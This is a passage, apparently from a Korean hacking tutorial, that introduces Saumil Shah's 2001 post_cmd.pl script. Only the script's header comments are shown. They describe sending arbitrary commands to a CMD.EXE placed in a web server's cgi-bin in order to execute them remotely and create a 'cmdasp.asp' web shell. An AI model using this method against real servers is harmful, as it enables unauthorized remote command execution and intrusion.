위의 명령들은 목표 웹 서버 상에서 "cmdasp.asp" 파일을 만들기 위해 post_cmd.pl과 같은 스크립트를 통해 실행될 수 있다. post_cmd.pl #!/usr/bin/perl # # post_cmd.pl # By Saumil Shah (c) net-square, 2001 # # Able to send arbitrary commands to http://TARGET/cgi-bin/CMD.EXE # and have them executed on the server. This is possible only if # CMD.EXE is placed in %wwwroot%\cgi-bin. (perhaps after running # some .. ah.. exploit) # # Note: If %wwwroot%\cgi-bin is not available, use the /scripts/ # directory in which case, the URL becomes # http://TARGET/scripts/CMD.EXE # # POST can send text to a back-end web program's standard input # This program is used to feed commands to CMD.EXE on a remote # webserver via standard input, and get the output on standard # output, back to us, via HTTP. # # Note: We cannot use this with a form, because forms al<strong>way</strong>s # send variable=value pairs back to the back-end web program.
